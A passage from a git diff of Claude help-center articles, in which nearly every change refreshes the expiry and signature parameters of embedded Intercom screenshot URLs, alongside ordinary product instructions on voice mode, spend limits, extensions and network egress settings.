+![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1921669913/7cc7be48cfc7a18f9f469d6cd83c/CleanShot+2026-01-08+at+10_20_43%402x.png?expires=1789538400&signature=63740f46a0eb3d57f6ea66663d63a4f0a415fb887fe4fe7c578a0184a9bfbf59&req=dSklF894lIheWvMW1HO4zWn5HzoYYU1vc9cNIYuX0GGch9h2RJrZ1oYQanVz%0ABfre%2FJXV%2F7OpkEhBMAA%3D%0A) This will open a **Shared chats** modal listing the title, date shared, and link to each chat, allowing you to easily review and access all your previously-shared content. From here, you also have the option to click “Unshare” next to each listed chat to revoke access to the last snapshot you shared: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1624243810/e6fe1d262597446c7fe21dff9f10/AD_4nXdW-GhByF8uKV7fCq9lTbkVB91FglSL6TSyXAOUk_MLcTV9YsEMBMkm9rgm1oXqv0k3sJh1JhlzZP6tHVkKbDJJ71pDRRtM3aVNG64MDuKDIzgmknh-XDZdNa7biTsTdwGoPr5GRg?expires=1789501500&signature=23ccc42f23ccf64fe5b0780317ca773783983d39aac25fb8a1372d0936a832b9&req=dSYlEst6noleWfMW1HO4ze44eC5klBM7guvTv9woD7a8Feic3XuhdNJWwdiQ%0AUY0qepQolzPri09TgM8%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1624243810/e6fe1d262597446c7fe21dff9f10/AD_4nXdW-GhByF8uKV7fCq9lTbkVB91FglSL6TSyXAOUk_MLcTV9YsEMBMkm9rgm1oXqv0k3sJh1JhlzZP6tHVkKbDJJ71pDRRtM3aVNG64MDuKDIzgmknh-XDZdNa7biTsTdwGoPr5GRg?expires=1789538400&signature=d2888f7ed403d577ef32bc6e13aaa33b8e10a0337f6401b3eaa257b4d964ec08&req=dSYlEst6noleWfMW1HO4ze44eC5klxo6guvTv9woD7bos8s%2BblLkMPyQ2Vul%0ANSmT0RwKoC6kEmdRxf4%3D%0A) If you don’t have any shared chat snapshots, the **Shared chats** modal will show “No shared content found”: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1624243808/b025db8e598f0c88fb16d83d48d5/AD_4nXeUwCKnmFzzrjMHhfr5By4zk5pJlkEn3wbJ8-aNfu13Yl99IjBywpqPx9G07QRzpH1EwRY7uG7Q9m9fib98Gql1cIV7XwUCTzEgBNu79Ey8tCOS5CEVmwveIcEOxJ4fonBhe3g9MA?expires=1789501500&signature=255a3c26ae8fd3518dd79ed779906dbc10166d6eb2d471da99055d3dcc402e96&req=dSYlEst6nolfUfMW1HO4zdaFncxxgYi0DeZsm0Gz1HtaWvTdDXxc47KNNuGK%0A5joBFixgkLLKQAFclbo%3D%0A) \ No newline at end of file +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1624243808/b025db8e598f0c88fb16d83d48d5/AD_4nXeUwCKnmFzzrjMHhfr5By4zk5pJlkEn3wbJ8-aNfu13Yl99IjBywpqPx9G07QRzpH1EwRY7uG7Q9m9fib98Gql1cIV7XwUCTzEgBNu79Ey8tCOS5CEVmwveIcEOxJ4fonBhe3g9MA?expires=1789538400&signature=ce36f1663ba545bab8b5cd84d98d6ffc9361594c60a5a2c83841c0d2952f5ebf&req=dSYlEst6nolfUfMW1HO4zdaFncxxgoG1DeZsm0Gz1Hv7FxbqAnnQ6XsYsboJ%0A9TWeKTM0e8iT5VmGNmU%3D%0A) \ No newline at end of file diff --git a/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md b/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md index 5cd49c8c94..08c34f0e9e 100644 --- a/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md +++ b/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md @@ -48,7 +48,7 @@ for specific instructions. Custom desktop extensions uploads allow Team and Enterprise plans to leverage organization-specific workflows that aren’t available in the public directory. After creating a custom desktop extension, Owners and Primary Owners can navigate to Settings > Extensions within Claude Desktop and click “Advanced settings” to access the **Extension Developer** section: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1681607607/ba6e379d2769d190f0970a0adaed/AD_4nXd4aZkqjJFpiXMPF28Pih7HmSJ9pPsnoWAfVgiLdFRFiTkO92YtXteIjvDHaPl7T0tjfpRTBOlyrMbQ_aciCNDgfIuEvV3szmKvt72x5O51DMSClXOYWk1JIRIzylwkj3joXqZcLw?expires=1789501500&signature=6cb7266116c73cafbba8c940bab5c47e5b71b88081c7868d8bfe1933e9f4a7f1&req=dSYvF89%2BmodfXvMW1HO4zWbPxEl6Nzw3Hn9K2IaIG2K1sfyw%2Fmd6S9yLYqVz%0ARLhqmr01M8N7G57b%2Bhw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1681607607/ba6e379d2769d190f0970a0adaed/AD_4nXd4aZkqjJFpiXMPF28Pih7HmSJ9pPsnoWAfVgiLdFRFiTkO92YtXteIjvDHaPl7T0tjfpRTBOlyrMbQ_aciCNDgfIuEvV3szmKvt72x5O51DMSClXOYWk1JIRIzylwkj3joXqZcLw?expires=1789538400&signature=9ee63e6d346968b0680bd168aae0857b6ed2ec72061c149330ce4d72bc3c0881&req=dSYvF89%2BmodfXvMW1HO4zWbPxEl6NDU2Hn9K2IaIG2In5Q9BjD7mIpVD0jw3%0AjCmrMPjsXbpkdX7nwkc%3D%0A) Click “Install Extension…” and select the .mcpb file. Follow the prompts to install and configure your custom desktop extension. For more in-depth information, please refer to our [desktop extension developer documentation](https://github.com/anthropics/mcpb). diff --git a/content/support/11101966-use-voice-mode.md b/content/support/11101966-use-voice-mode.md index ef1b42e095..1b46c0a1aa 100644 --- a/content/support/11101966-use-voice-mode.md +++ b/content/support/11101966-use-voice-mode.md @@ -24,7 +24,7 @@ Voice mode transforms how you interact with Claude by: 2. Tap the sound wave symbol in the lower right corner of the chat window to activate voice mode: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042358620/1bf2311353615c1c494da1312a17/124b93a8-0a9b-4c84-9d1f-ede6ca3498dd?expires=1789501500&signature=d051def08cb1e34354443ee2d6834281b27af8d5ac359ffbf479579bb3520b8d&req=diAjFMp7lYddWfMW1HO4zZyGrsd3u1YVF6uXnTLMvvAJ24sZwa9TttXQ272M%0AUWj7%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042358620/1bf2311353615c1c494da1312a17/124b93a8-0a9b-4c84-9d1f-ede6ca3498dd?expires=1789538400&signature=ea1810d727821981d71abd17a41c359def7c070a94b551fbe226ad52de8249d7&req=diAjFMp7lYddWfMW1HO4zZyGrsd3uF8UF6uXnTLMvvAHxDSv30nrEcxC73kQ%0AAsVF%0A) 3. Start talking and see your prompt automatically populate in the chat input. @@ -32,7 +32,7 @@ Voice mode transforms how you interact with Claude by: 5. Claude will remain in voice mode until you click the “Stop” button in the lower right corner of the chat window: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042352060/162f9e61f7fbeb689201dfc1cac1/6a7fafb2-31df-43be-a43f-0059d735e3c4?expires=1789501500&signature=6d8879f9261f12b0dd2d24082dbcde75fb117d79766b6bbb684e385d13be46e7&req=diAjFMp7n4FZWfMW1HO4zU6VRfTPSL1sxNdRzYWrfF7F1nA5c5dvXpmA%2FWfG%0AQgLtSHWf5NmqWRsh%2BLo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042352060/162f9e61f7fbeb689201dfc1cac1/6a7fafb2-31df-43be-a43f-0059d735e3c4?expires=1789538400&signature=19fb32da69386e9dba920f1958d7fa4fc67f098ecdfc7e59f0647e7c3171c06d&req=diAjFMp7n4FZWfMW1HO4zU6VRfTPS7RtxNdRzYWrfF4JnFHYzN6ZIwVHFeYD%0AqccytO7mCQvVCAFkVWA%3D%0A) ### On mobile (iOS and Android) @@ -40,7 +40,7 @@ Voice mode transforms how you interact with Claude by: 2. Tap the voice mode icon (sound wave symbol next to the microphone icon) in the text input field: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042359690/68879db64559ecf87991f73ce058/671ff972-9e08-4686-bc04-955dab4b2de3?expires=1789501500&signature=fa4b3a4471f3d4811dba77baf8c9b6a64a900f7ab62d5f95d16ba98e381333f8&req=diAjFMp7lIdWWfMW1HO4zQTUIf1%2FkNlLD%2FRXAPlQ7LaKXpjfItL2sNM3HdX5%0Aaih3%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042359690/68879db64559ecf87991f73ce058/671ff972-9e08-4686-bc04-955dab4b2de3?expires=1789538400&signature=e21fb29dd666e8da522cc9a830fb605b6863c68eb39e201134e129cdc8750024&req=diAjFMp7lIdWWfMW1HO4zQTUIf1%2Fk9BKD%2FRXAPlQ7LYzjsj%2BgZn9HYv0L47h%0A3vF0%0A) 3. Choose a voice to personalize your experience. @@ -78,7 +78,7 @@ To change the voice later: - **On mobile:** Click the settings button in the bottom left corner while chatting with Claude in voice mode, then tap your preferred voice and pace: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042352063/25eca25bcfd573ecab30dd53158c/074454a6-fa5a-4c49-8b19-02d434b4ca50?expires=1789501500&signature=d712b61c33e7cd6c03bad656d4f6044d5a7adad065809536c12a8e1bcd03fcd5&req=diAjFMp7n4FZWvMW1HO4zZ3%2FGGOQYFEPy8OQfYsvK3zZH0RDioCs2oanCubD%0AQna%2FnhAI6DV0JuUyp%2Fw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2042352063/25eca25bcfd573ecab30dd53158c/074454a6-fa5a-4c49-8b19-02d434b4ca50?expires=1789538400&signature=2e0ceb861d135cf103e31cef16bff20c901a0e2efc34445f63a13542dcf3f55a&req=diAjFMp7n4FZWvMW1HO4zZ3%2FGGOQY1gOy8OQfYsvK3yqOZTLR0GOW%2BfBZt7p%0AIfGBRvCF0LC9N8ilBlM%3D%0A) ## Choose a model diff --git a/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md b/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md index af333d3cbf..7dc1deca72 100644 --- a/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md +++ b/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md @@ -44,7 +44,7 @@ This article provides information on how to enable the Claude LTI integration in 5. Click "Install" and refresh the course page. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1611422430/c8e0875feac1f2c7cb033be74fc9/AD_4nXfLU_bui3EXcCjQ0qm70HD97neqjGayKeDer_t76utlci8gZSUjYRhw6ZSOlDdqSEcwXBzd_shAh7pQEJ-8OoE0O21DM5coOgxmO_WD5hlwiuwtS2iYXcTavhIRyQT5zKFWvfn3NA?expires=1789501500&signature=295525c50ed08a9290a95d38185463954122e367a29080ac1a674d50898a506f&req=dSYmF818n4VcWfMW1HO4zTEDauIbm%2FKEEv2ojHLMylYuL7gba8wuVyDhG%2BBU%0AExU%2FHF1jCvmtmU%2FTqIM%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1611422430/c8e0875feac1f2c7cb033be74fc9/AD_4nXfLU_bui3EXcCjQ0qm70HD97neqjGayKeDer_t76utlci8gZSUjYRhw6ZSOlDdqSEcwXBzd_shAh7pQEJ-8OoE0O21DM5coOgxmO_WD5hlwiuwtS2iYXcTavhIRyQT5zKFWvfn3NA?expires=1789538400&signature=e0957eeb73b9334f529bb6f807435b16dee1ef3a481e75c5d4a451e906a92ea1&req=dSYmF818n4VcWfMW1HO4zTEDauIbmPuFEv2ojHLMylYbruTedZ1BenV0mqJz%0A8bVz5lNK3WrY3p0W5FY%3D%0A) ## Turn on the Claude LTI Integration in Claude for Education organization settings diff --git a/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md b/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md index 9905e65254..dcb29cf045 100644 --- a/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md +++ b/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md @@ -2,7 +2,7 @@ If you see the following pop-up when you log in to your Claude account, you’ll need to click the “Verify now” button to verify your payment method: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1631413861/42c3b13d7fc44a11a88ec2b9cd03/AD_4nXeMx8QXpeZZCkfAnVSwx8KZ9n4Vr2rvPdQddyE6ZNxch__F6ZqFs1G4ZmU52Wvb7gRlwRqquTLdw8IQv-gICDyP-MXqiQK_Oe7gX3SKsCKKt2IEpMx4qDeMeeZufMaJfv16XgOH5g?expires=1789501500&signature=02bd2d6662b39e76c444781d46dfa802c8a251e1e5444f84ada856f098f99a95&req=dSYkF81%2FnolZWPMW1HO4zf7%2BjE3r6IH3n6MrEicvimDM9KaknJxQMxWQxufh%0AB%2BCAFZe8H92Pkpetq6g%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1631413861/42c3b13d7fc44a11a88ec2b9cd03/AD_4nXeMx8QXpeZZCkfAnVSwx8KZ9n4Vr2rvPdQddyE6ZNxch__F6ZqFs1G4ZmU52Wvb7gRlwRqquTLdw8IQv-gICDyP-MXqiQK_Oe7gX3SKsCKKt2IEpMx4qDeMeeZufMaJfv16XgOH5g?expires=1789538400&signature=96700b83964edb756f56f228b129288a8b2a3782b6feaebe056be2e6a2c151e0&req=dSYkF81%2FnolZWPMW1HO4zf7%2BjE3r64j2n6MrEicvimBeQKdadfDnX5%2FwjghG%0A5AXBuIdiRbs2R7lWocw%3D%0A) ## What happens if I click “Remind me later?” diff --git a/content/support/11869629-use-claude-with-android-apps.md b/content/support/11869629-use-claude-with-android-apps.md index a06268298d..39d1be9b61 100644 --- a/content/support/11869629-use-claude-with-android-apps.md +++ b/content/support/11869629-use-claude-with-android-apps.md @@ -222,7 +222,7 @@ Permission requirements vary by feature: For features requiring permissions (like location or calendar access), Claude will request permission contextually with clear explanations of why the access is needed. You’ll be prompted to approve the action with three options: Allow once, Always allow, or Don't allow. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1707351614/ccb910e4b87b1e96ad9a11bbd835/b57b2130-d8d6-4499-89f6-6c12de236fd4?expires=1789501500&signature=82c3a9196945b99bbfa8333846ca638b5bf45c54294141aecfe645009381306e&req=dScnEcp7nIdeXfMW1HO4zQe5GlaK2yTxS5x65TIld%2FBZUeK%2Bm1zRosRk1DDv%0Aw3sZjW5DTWylTnCy%2FX0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1707351614/ccb910e4b87b1e96ad9a11bbd835/b57b2130-d8d6-4499-89f6-6c12de236fd4?expires=1789538400&signature=07983334b1a99ca886db1ada79003af74f40e0aa447f4def292d16c7c3c89549&req=dScnEcp7nIdeXfMW1HO4zQe5GlaK2C3wS5x65TIld%2FDeKH6uaf903k2X6wYe%0AOdndNmPmQDEruGj5j5o%3D%0A) These permissions can be managed at any time in your device settings by going to Settings > Apps > Claude > Permissions. Click into each permission listed under **Allowed** and **Not allowed** to make changes. You can toggle between “Allow only while using the app” or “Ask every time” to change Claude’s access, or remove permissions by choosing “Don’t allow.” Claude will only request permissions if needed for specific features, and you can always choose to decline while still using other capabilities. diff --git a/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md b/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md index 6e8454d3ef..8ddd1c7105 100644 --- a/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md +++ b/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md @@ -70,7 +70,7 @@ After navigating to **[Organization settings > Usage](https://claude.ai/admin-se The **Usage and spend limits** section will show the current limit (if any) or **Unlimited**. Clicking on "Adjust limit" opens a modal where you can either input an amount and click "Set spend limit," or click "Set to unlimited" to remove the organization-wide monthly spend limit. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149347604/936ac4eb025d3ef1f00c3b8a26b0/image.png?expires=1789501500&signature=c6cab59eff0251d0c5acd0e8565e4bab384a52b94a48fea2080b9c7b4c6cee96&req=diEjH8p6modfXfMW1HO4zQHwg6jSli%2Bj6DwhVVpk1mCGKUKuzSZmQQBiSVVY%0A%2Fq6Q18os2cgoJ4GNZ2s%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149347604/936ac4eb025d3ef1f00c3b8a26b0/image.png?expires=1789538400&signature=3626253b5a9c5cce13ff8753691f542524a22a93dbecad4519dc02383ff16709&req=diEjH8p6modfXfMW1HO4zQHwg6jSlSai6DwhVVpk1mAX0TBUOGhQYuOV4npe%0ArhjuQ4xEAX4ZdK8ViX0%3D%0A) Changes to your organization’s overall spend limit go into effect immediately. @@ -78,11 +78,11 @@ Changes to your organization’s overall spend limit go into effect immediately. Owners and Primary Owners on **seat-based Enterprise plans only** can set spend limits that apply to all users within a specific seat tier. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149351600/c5b979c366ac2738f60ea84e85b3/CleanShot+2026-03-10+at+15_37_41%402x.png?expires=1789501500&signature=230ff1ae9c1b2345808b746da17764866f4625b0c5e110861dcc5602cfe9e1b6&req=diEjH8p7nIdfWfMW1HO4zYnqMIyRI3GM0wfO62ivdG98l7Zi5QaLaIWED5hO%0AvLk6INJ%2FCLNKsGHJqIw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149351600/c5b979c366ac2738f60ea84e85b3/CleanShot+2026-03-10+at+15_37_41%402x.png?expires=1789538400&signature=41e93ef59dfa7ea166642ed210543e90d49a9cdf17f8b6d85a015c1565aa28c8&req=diEjH8p7nIdfWfMW1HO4zYnqMIyRIHiN0wfO62ivdG%2BkfhgzwrRcrRDhD7WH%0AeIqTQ%2FoN34sqJKITDdo%3D%0A) Select the "By group" tab to see **Standard seats** and **Premium seats** groups. Click the "..." icon next to the current limit, then "Edit limit." This opens a modal where you can either select "Set dollar amount" and input an amount, or click "Unlimited" to remove the limit for that seat type. Click "Set limit" to save your changes. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149362056/44993661ca2db771fe924d0346f6/image.png?expires=1789501500&signature=7e2afcf3dfcb5f77b69dfe4ac3b46d36fa330a27ae2a050f79d8734d7b438174&req=diEjH8p4n4FaX%2FMW1HO4zRzvvIwOcExDq7nEDCGq9G7G1qnb41KAvkv4%2BQGn%0AT3vQEjUlu9fBo2PIJAY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149362056/44993661ca2db771fe924d0346f6/image.png?expires=1789538400&signature=4a63b14999fb9a66c210edc6f2e5c22cdb510ab788961175cc0d8603ad463408&req=diEjH8p4n4FaX%2FMW1HO4zRzvvIwOc0VCq7nEDCGq9G6amkB5Vg%2FKqsGVpirE%0ABmhfq4b4stPkITRZDfk%3D%0A) --- @@ -90,11 +90,11 @@ Select the "By group" tab to see **Standard seats** and **Premium seats** groups Owners and Primary Owners can also set individual monthly spend limits for each member by finding **Spend limits by user** and clicking the "..." button next to the user, then "Edit limit." -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149370853/db66f5cd03683b9cc119d0dcd6b8/image.png?expires=1789501500&signature=f5001394e4e4e7107f540d6b1a2210ad848e859b48674ef1a91dd9cca06db23f&req=diEjH8p5nYlaWvMW1HO4zaPdGQ5SVS5De9HwvwG7ubjZP6dslS8oqbhE6jZN%0AOp9ly%2F%2Fk16KgvZV6QVo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149370853/db66f5cd03683b9cc119d0dcd6b8/image.png?expires=1789538400&signature=60db786c088d430bb339650541b3281432fc10720b34d1854bd2f1972356703a&req=diEjH8p5nYlaWvMW1HO4zaPdGQ5SVidCe9HwvwG7ubjC6fx%2BzFPAKXmtAMv8%0A0fTu24jXyGpdxlgZHLY%3D%0A) Enter the amount and click "Set limit." Alternatively, selecting "Set to unlimited" will remove that member's monthly spend limit (they will still be subject to any organization or seat-level spend limits). -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149374028/97813fe3b515c2e839d8d92abd79/image.png?expires=1789501500&signature=cf6bd72836c966cb24d08d6ee86cd93fba835f42a022cca860493169cc3ca351&req=diEjH8p5mYFdUfMW1HO4zevsAv6PM%2BqPw6z2wGSwkbukBjyh13GSFxfFHGcL%0A%2BkIb0QVhtfmm%2FEeYBXM%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2149374028/97813fe3b515c2e839d8d92abd79/image.png?expires=1789538400&signature=ea7d06cd5c166cc266555158871f896ded7105f0196084b3ea080f9a270cf07d&req=diEjH8p5mYFdUfMW1HO4zevsAv6PMOOOw6z2wGSwkbt8cRA37vQdEZnfnVTI%0AigV87D7XT2eJIK54%2FRs%3D%0A) This allows owners fine control over usage credits, so you can set limits for different members based on their roles or individual needs. Once a user reaches their defined spend limit, this will automatically pause their usage credits until the end of the month. They will need to wait for their usage limits to reset before using Claude again. diff --git a/content/support/12012173-get-started-with-claude-in-chrome.md b/content/support/12012173-get-started-with-claude-in-chrome.md index f173dfdb18..a4e372dde1 100644 --- a/content/support/12012173-get-started-with-claude-in-chrome.md +++ b/content/support/12012173-get-started-with-claude-in-chrome.md @@ -38,7 +38,7 @@ Follow these steps to connect Claude in Chrome in your desktop app: 4. Toggle the connector on, then download and install the extension if you haven’t already. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2604933811/ae37c41fc808dbdf48d135338334/6cc9ba4b-9d31-43a2-ab80-8048b5f9d791?expires=1789501500&signature=21f4920d86de565b977d766da06b69817e5eb43e4343dd14b13141c1ae0069a3&req=diYnEsB9noleWPMW1HO4zUOPbPXDluOInt%2F2nPMwUPghqwz%2FBtxJI47YCLTZ%0AWKgsnRtvcJHhvKS3x24%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2604933811/ae37c41fc808dbdf48d135338334/6cc9ba4b-9d31-43a2-ab80-8048b5f9d791?expires=1789538400&signature=5b8166051708297630541c94d9c65ffb1b4ed3d0f37d55d209cf4750743b4b82&req=diYnEsB9noleWPMW1HO4zUOPbPXDleqJnt%2F2nPMwUPgc%2FoUWWU50t9IFxvH%2B%0AFp2omHBEen%2B27jxvkLU%3D%0A) Completing these steps will add Claude in Chrome to the “Connectors” drop-down on your chats with Claude. This is disabled by default, so you’ll need to enable it manually for each conversation. diff --git a/content/support/12083917-change-your-team-plan-from-monthly-to-annual-billing.md b/content/support/12083917-change-your-team-plan-from-monthly-to-annual-billing.md index 67808cc2cb..34d7c69b14 100644 --- a/content/support/12083917-change-your-team-plan-from-monthly-to-annual-billing.md +++ b/content/support/12083917-change-your-team-plan-from-monthly-to-annual-billing.md @@ -8,11 +8,11 @@ Owners and Primary Owners of Team plans with monthly subscriptions can switch fr 3. Or from /upgrade, click the “Switch to Annual plan” button: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1690325734/d47f714680d78408d6022d06b8d1/image.png?expires=1789614000&signature=14ead8864c6aeaed45e1033df5963761ff8cd18ff722bf92973e9e62b9ec87cc&req=dSYuFsp8mIZcXfMW3Hu4gZzas%2FXtsDlTmWrRiVwqPzZJ1%2FBy5DdSLhUfOFC1%0AOg%3D%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1690325734/d47f714680d78408d6022d06b8d1/image.png?expires=1789668000&signature=ddbd0cc99cbe50aff46bbf8f2b5fd37082464c739ad99bd3df9f6fdff9a305b1&req=dSYuFsp8mIZcXfMW3Hu4gZzas%2FXtsDlUlWrRiVwqPzZkTQfAh6%2FK3GeDoGoG%0AOg%3D%3D%0A) 4. The confirmation screen will display the total cost for your upgrade from monthly to annual billing: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1690326039/3a91cdc5fff57d188a18ecc6273f/image.png?expires=1789614000&signature=f8074ddde93edcaa703223d482cb0c8acf7f303810e90bdf3c4d80c57c6b1b16&req=dSYuFsp8m4FcUPMW3Hu4gbNj%2Bk78VQvgj%2B5vzcg6znWkQ%2Fwt3mmDnG1ussOE%0Aaw%3D%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1690326039/3a91cdc5fff57d188a18ecc6273f/image.png?expires=1789668000&signature=bd51ac95b6d291616e52911c9de55ceb22f9ce4ca0dfc770e83fee198b503ec0&req=dSYuFsp8m4FcUPMW3Hu4gbNj%2Bk78VQvng%2B5vzcg6znUnXBjJK8qHvuwl4Vex%0AcA%3D%3D%0A) 5. Click “Confirm subscription.” diff --git a/content/support/12111783-create-and-edit-files-with-claude.md b/content/support/12111783-create-and-edit-files-with-claude.md index 9abbcdaff2..da6500adf7 100644 --- a/content/support/12111783-create-and-edit-files-with-claude.md +++ b/content/support/12111783-create-and-edit-files-with-claude.md @@ -48,7 +48,7 @@ These capabilities make it easy to produce professional documents by simply chat To give Claude access to external data sources, toggle **Allow network egress** on: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2054774005/25bcfffba6c249cd128d6c3f6d52/CleanShot+2026-02-11+at+16_34_47%402x.png?expires=1789501500&signature=c32ec3b1fc61b8badbda4e6a44ae27a27161bff20fbcfae8100c1e07c0a892b5&req=diAiEs55mYFfXPMW1HO4zYFJywRADJjLPQVowIiib2kiuI3NyU6DlrbOUy%2F4%0AozhZzaOjlw42m9uD7bE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2054774005/25bcfffba6c249cd128d6c3f6d52/CleanShot+2026-02-11+at+16_34_47%402x.png?expires=1789538400&signature=4fe5e2c186a0672623b257daca209113b8e42de2befb1c2620b8008986f8740c&req=diAiEs55mYFfXPMW1HO4zYFJywRAD5HKPQVowIiib2lZ0WYSpzn37uZaDXCR%0AW2IA802TLthss4hhhdA%3D%0A) ### Enabling on Claude Mobile @@ -66,11 +66,11 @@ Team and Enterprise organization owners can control network access settings in * - **Allow network egress to package managers and specific domains:** Claude can access package managers plus additional domains you specify. Add domains individually to whitelist specific resources your organization needs: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1789945362/ad72504d5429960f369b8b91b43c/86f06c0e-6eaa-4574-a4cb-2c38b273613a?expires=1789501500&signature=7d1f469b6336466325b2718d40c95ae5cd5f7b31665f32581c3dc74e9324ef07&req=dScvH8B6mIJZW%2FMW1HO4zXJcBmRGlShOpMW6Iph6YZczWm96SKSVuYqsS4oT%0AdtPOUAXv18sXX0RmSBs%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1789945362/ad72504d5429960f369b8b91b43c/86f06c0e-6eaa-4574-a4cb-2c38b273613a?expires=1789538400&signature=393779122d2b022071403b76c8f390cc60bba78b37b6a133ffecf18803b6872e&req=dScvH8B6mIJZW%2FMW1HO4zXJcBmRGliFPpMW6Iph6YZcS8rOTj%2BjnwVzCgkNv%0AIyNuabpStXtso8yI1lo%3D%0A) **All domains:** Claude has full internet access except for domains on Anthropic's legal blocklist. While this provides maximum flexibility for file creation and analysis tasks, it’s also the riskiest option. Please review the **[security considerations below](#h_0ee9d698a1)** before enabling “All domains”: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1789945361/e3188cb8edb9ca7c303615da6378/f1c99a7d-5956-48d5-9ec7-b7ae6c8c3d28?expires=1789501500&signature=9aa8d8c334e54841b0a0a1cb46c3edf048e0a2576c251e249178297b68d54e1b&req=dScvH8B6mIJZWPMW1HO4zdnseB2X7j6nqgKIA6CM1tqyBk7lk3M1sIUcUitB%0Alma6YXjMLWTRp8jYE%2B0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1789945361/e3188cb8edb9ca7c303615da6378/f1c99a7d-5956-48d5-9ec7-b7ae6c8c3d28?expires=1789538400&signature=85dddf8b8b784734cf8c70f9f0410e570598ebd02d4f092e278675da1ca9d747&req=dScvH8B6mIJZWPMW1HO4zdnseB2X7TemqgKIA6CM1tqZDFhlNh%2FveAXVl0Lb%0AnVASLbHkrPPRfepMqlo%3D%0A) --- diff --git a/content/support/12157520-claude-code-usage-analytics.md b/content/support/12157520-claude-code-usage-analytics.md index e20b15552e..ec565f6945 100644 --- a/content/support/12157520-claude-code-usage-analytics.md +++ b/content/support/12157520-claude-code-usage-analytics.md @@ -50,7 +50,7 @@ The **Usage** tab displays the following metrics for your organization. Data on - **Top commands**: The Claude Code commands used most often across your organization. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1717579277/46c512f4b3ed05c359cecd78ed5c/e0ce2c19-39e2-411f-9a1f-cb1d46439a42?expires=1789501500&signature=ebbdf3113770c35255e27dcde9675f2f9aaa8f04b4c4661ab1b72b5d93dce761&req=dScmEcx5lINYXvMW1HO4zfiEP69Vj3jLCX9h5MbdDjNVP93SMDAgYWlIqBes%0A26rvQIDTjFrtNXdNe2M%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1717579277/46c512f4b3ed05c359cecd78ed5c/e0ce2c19-39e2-411f-9a1f-cb1d46439a42?expires=1789538400&signature=6b5b209dac81b14ee30f97c3502d2c2f2123b7c6e83ab623ffdfbb918847df76&req=dScmEcx5lINYXvMW1HO4zfiEP69VjHHKCX9h5MbdDjPZ34322LBAobIGogYE%0AvH%2B4W1xrocoAen0BtZo%3D%0A) ### User-level metrics diff --git a/content/support/12260368-use-incognito-chats.md b/content/support/12260368-use-incognito-chats.md index a6bcf8f54c..c84a69c33b 100644 --- a/content/support/12260368-use-incognito-chats.md +++ b/content/support/12260368-use-incognito-chats.md @@ -30,7 +30,7 @@ Incognito chats are temporary conversations that aren't saved to your chat histo When starting a new chat with Claude outside of a project, you'll see a ghost icon in the upper right corner of your screen: 